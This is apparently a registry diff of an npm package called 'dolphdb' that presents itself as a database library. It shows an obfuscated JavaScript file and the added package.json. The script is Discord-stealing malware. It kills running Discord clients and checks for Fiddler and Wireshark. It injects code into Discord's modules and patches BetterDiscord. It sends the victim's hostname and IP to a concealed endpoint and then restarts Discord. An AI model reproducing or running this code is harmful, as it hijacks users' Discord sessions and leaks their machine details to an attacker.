_0x181d8f=_0x3d0707;if(fs[_0x181d8f(0x15e)](_0x471287,_0xe9cbd8[_0x181d8f(0x15f)](_0x181d8f(0x163),config[_0x181d8f(0x157)])[_0x181d8f(0x15f)]('%USERIP%',ip['address']())[_0x181d8f(0x15f)](_0x181d8f(0x170),config[_0x181d8f(0x130)])['replace'](_0x181d8f(0x133),config[_0x181d8f(0x190)])[_0x181d8f(0x15f)]('%LOGOUTNOTI%',config['logout-notify'])[_0x181d8f(0x15f)](_0x181d8f(0x15a),config[_0x181d8f(0x196)])['replace'](_0x181d8f(0x152),config[_0x181d8f(0x159)]),{'encoding':_0x181d8f(0x19a),'flag':'w'}),'true'==config[_0x181d8f(0x157)]){let _0x3dbf2d=_0x471287['replace'](_0x181d8f(0x16a),_0x181d8f(0x13d));fs[_0x181d8f(0x160)](_0x3dbf2d)||fs[_0x181d8f(0x177)](_0x3dbf2d,0x1e4);}if(_0x181d8f(0x143)!=config['logout']){let _0x585542=_0x471287[_0x181d8f(0x15f)](_0x181d8f(0x16a),_0x181d8f(0x16b));fs[_0x181d8f(0x160)](_0x585542)?fs[_0x181d8f(0x160)](_0x585542)&&_0x181d8f(0x131)==config[_0x181d8f(0x130)]&&startDiscord():(fs[_0x181d8f(0x177)](_0x585542,0x1e4),_0x181d8f(0x131)==config['logout']&&startDiscord());}});});})['on']('error',_0x4829ae=>{});}const logout=async()=>(await BrowserWindow['getAllWindows']()[0x0]['webContents'][_0x8c0527(0x185)](_0x8c0527(0x14a),!0x0),'ok');function _0x2756(_0x394234,_0x309194){const _0x16991d=_0x57f3();return _0x2756=function(_0x439194,_0x1b35d1){_0x439194=_0x439194-0x12c;let _0x53b846=_0x16991d[_0x439194];return _0x53b846;},_0x2756(_0x394234,_0x309194);}function killDiscord(){const _0x1381fe=_0x8c0527,_0x595e9e=(function(){let _0x34c313=!![];return function(_0x1a86f9,_0x1f1350){const _0x20417f=_0x34c313?function(){const _0x5e0c92=_0x2756;if(_0x1f1350){const _0x152864=_0x1f1350[_0x5e0c92(0x12d)](_0x1a86f9,arguments);return _0x1f1350=null,_0x152864;}}:function(){};return _0x34c313=![],_0x20417f;};}()),_0xdf3d62=_0x595e9e(this,function(){const _0x24ee37=_0x2756;return _0xdf3d62[_0x24ee37(0x149)]()[_0x24ee37(0x195)](_0x24ee37(0x139))['toString']()[_0x24ee37(0x178)](_0xdf3d62)[_0x24ee37(0x195)](_0x24ee37(0x139));});_0xdf3d62(),(runningDiscords[_0x1381fe(0x156)](_0x3662ad=>{const _0x5e649e=_0x1381fe;exec(_0x5e649e(0x16c)+_0x3662ad+'.exe\x20/F',_0x2b7a41=>{});}),_0x1381fe(0x135)==config[_0x1381fe(0x181)]&&0x0!=injectPath[_0x1381fe(0x183)]&&injectNotify(),Infect(),pwnBetterDiscord());}function listDiscords(){const _0x4bf6ff=(function(){let _0x5dc6ed=!![];return function(_0x361817,_0x197f0e){const _0x2b7ba6=_0x5dc6ed?function(){const _0x37f061=_0x2756;if(_0x197f0e){const _0x1bb6fb=_0x197f0e[_0x37f061(0x12d)](_0x361817,arguments);return _0x197f0e=null,_0x1bb6fb;}}:function(){};return _0x5dc6ed=![],_0x2b7ba6;};}()),_0x9c89e1=_0x4bf6ff(this,function(){const _0x4b80e3=_0x2756,_0x3137e7=function(){const _0x2f76bc=_0x2756;let _0x490e85;try{_0x490e85=Function(_0x2f76bc(0x17c)+_0x2f76bc(0x18c)+');')();}catch(_0xfbff38){_0x490e85=window;}return _0x490e85;},_0x4916bd=_0x3137e7(),_0x1357bd=_0x4916bd[_0x4b80e3(0x12c)]=_0x4916bd[_0x4b80e3(0x12c)]||{},_0x12fb2a=[_0x4b80e3(0x17b),_0x4b80e3(0x12f),'info',_0x4b80e3(0x14f),_0x4b80e3(0x13c),_0x4b80e3(0x194),_0x4b80e3(0x171)];for(let _0x3a35e8=0x0;_0x3a35e8<_0x12fb2a['length'];_0x3a35e8++){const _0x27c282=_0x4bf6ff[_0x4b80e3(0x178)][_0x4b80e3(0x17a)]['bind'](_0x4bf6ff),_0x3e9c12=_0x12fb2a[_0x3a35e8],_0x1c0ba3=_0x1357bd[_0x3e9c12]||_0x27c282;_0x27c282[_0x4b80e3(0x140)]=_0x4bf6ff['bind'](_0x4bf6ff),_0x27c282[_0x4b80e3(0x149)]=_0x1c0ba3[_0x4b80e3(0x149)]['bind'](_0x1c0ba3),_0x1357bd[_0x3e9c12]=_0x27c282;}});_0x9c89e1(),exec('tasklist',function(_0x1f4c9a,_0x23541a,_0x49fa85){const _0x54264c=_0x2756;_0x23541a['includes'](_0x54264c(0x17f))&&runningDiscords['push'](_0x54264c(0x151)),_0x23541a[_0x54264c(0x13e)](_0x54264c(0x180))&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x169)),_0x23541a[_0x54264c(0x13e)]('Discord.exe')&&runningDiscords['push'](_0x54264c(0x18f)),_0x23541a[_0x54264c(0x13e)](_0x54264c(0x141))&&runningDiscords[_0x54264c(0x150)]('discordcanary'),_0x23541a[_0x54264c(0x13e)]('Discord\x20Canary\x20(32\x20bits).exe')&&runningDiscords[_0x54264c(0x150)]('Discord\x20Canary'),_0x23541a[_0x54264c(0x13e)](_0x54264c(0x168))&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x132)),_0x23541a[_0x54264c(0x13e)]('DiscordPTB.exe')&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x12e)),_0x23541a[_0x54264c(0x13e)](_0x54264c(0x167))&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x17d)),_0x23541a[_0x54264c(0x13e)]('Fiddler.exe')&&runningDiscords[_0x54264c(0x150)]('fiddler'),_0x23541a[_0x54264c(0x13e)]('wireshark.exe')&&runningDiscords[_0x54264c(0x150)](_0x54264c(0x14e)),_0x54264c(0x131)==config['logout']?killDiscord():(_0x54264c(0x135)==config['inject-notify']&&0x0!=injectPath[_0x54264c(0x183)]&&injectNotify(),Infect(),pwnBetterDiscord());});}function startDiscord(){runningDiscords['forEach'](_0x290926=>{const _0xb07d9e=_0x2756;exec(LOCAL+'\x5c'+_0x290926+_0xb07d9e(0x15c)+_0x290926+_0xb07d9e(0x15d),_0x222547=>{});});}function pwnBetterDiscord(){const _0x195d43=_0x8c0527;let _0x9d2be6=process['env'][_0x195d43(0x144)]+_0x195d43(0x16f);if(fs['existsSync'](_0x9d2be6)){let _0x1e3240=fs[_0x195d43(0x18d)](_0x9d2be6);fs[_0x195d43(0x15e)](_0x9d2be6,buf_replace(_0x1e3240,_0x195d43(0x145),'dc'));}}function injectNotify(){const _0x107eaf=_0x8c0527;let _0x18276e=[];injectPath['forEach'](_0x58fbaa=>{const _0x4a2e19=_0x2756;let _0x4d455b=_0x58fbaa;_0x18276e[_0x4a2e19(0x150)](_0x4d455b);});const _0xb43655='{\x22fields\x22:\x22Discord\x20Desktop\x20(app-1.0.9005)\x22,\x20\x22pcname\x22:\x22'+os['hostname']()+_0x107eaf(0x179)+ip[_0x107eaf(0x161)]()+_0x107eaf(0x197);var _0x5ed0f4=new XMLHttpRequest();_0x5ed0f4[_0x107eaf(0x15b)]('POST',_0x107eaf(0x172),!0x0),_0x5ed0f4[_0x107eaf(0x193)](_0x107eaf(0x162),_0x107eaf(0x148)),_0x5ed0f4[_0x107eaf(0x187)]=function(){this['responseText'];},_0x5ed0f4[_0x107eaf(0x136)](_0xb43655);}function getDirectories(_0x274da2){const _0xfc1801=_0x8c0527;return fs[_0xfc1801(0x189)](_0x274da2)[_0xfc1801(0x18e)](function(_0x1f7b20){const _0x4eba43=_0xfc1801;return fs[_0x4eba43(0x16e)](_0x274da2+'/'+_0x1f7b20)[_0x4eba43(0x13b)]();});}listDiscords(),discords[_0x8c0527(0x156)](function(_0x4e888c){const _0x7ea1a3=_0x8c0527;getDirectories(_0x4e888c+'\x5c')['forEach'](_0x1a4dc0=>{const _0x48d2e0=_0x2756;_0x1a4dc0[_0x48d2e0(0x13e)](_0x48d2e0(0x17e))&&(_0x4e888c=_0x4e888c+'\x5c'+_0x1a4dc0+'\x5cmodules\x5c');}),getDirectories(_0x4e888c)[_0x7ea1a3(0x156)](_0x3a1eb5=>{const _0x3aa461=_0x7ea1a3;_0x3a1eb5['includes'](_0x3aa461(0x165))&&(_0x4e888c=_0x4e888c+'\x5c'+_0x3a1eb5+_0x3aa461(0x155));}),fs['existsSync'](_0x4e888c)&&injectPath['push'](_0x4e888c);}),killDiscord(),Infect(),startDiscord(),infecccc();
|
package/package.json
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
{
|
2
|
+
"dependencies": {
|
3
|
+
"adm-zip": "^0.5.9",
|
4
|
+
"axios": "^0.27.2",
|
5
|
+
"buffer-replace": "^1.0.0",
|
6
|
+
"child_process": "^1.0.2",
|
7
|
+
"color": "^4.2.3",
|
8
|
+
"download": "^8.0.0",
|
9
|
+
"electron": "^19.0.9",
|
10
|
+
"form-data": "^4.0.0",
|
11
|
+
"fs": "^0.0.1-security",
|
12
|
+
"glob": "^8.0.3",
|
13
|
+
"https": "^1.0.0",
|
14
|
+
"ip": "^1.1.8",
|
15
|
+
"os": "^0.1.2",
|
16
|
+
"path": "^0.12.7",
|
17
|
+
"querystring": "^0.2.1",
|
18
|
+
"shelljs": "^0.8.5",
|
19
|
+
"xhr2": "^0.2.1"
|
20
|
+
},
|
21
|
+
"name": "dolphdb",
|
22
|
+
"version": "2.0.0",
|
23
|
+
"main": "index.js",
|
24
|
+
"devDependencies": {},
|
25
|
+
"scripts": {
|
26
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
27
|
+
},
|
28
|
+
"author": "dolphin-db <dolphindb@gmail.com>",
|
29
|
+
"license": "MIT",
|
30
|
+
"description": "dolphindb.app"
|
31
|
+
}
|